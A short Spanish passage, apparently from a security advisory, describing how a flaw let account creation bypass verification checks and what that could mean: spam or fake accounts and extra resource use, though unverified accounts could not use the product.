Si bien las cuentas no verificadas no podían acceder a la funcionalidad del producto, el comportamiento eludía los controles de verificación previstos y permitía la creación de cuentas no intencionadas. Esto podría haber permitido la creación de cuentas de correo no deseado/falsas o un impacto en el uso de recursos.
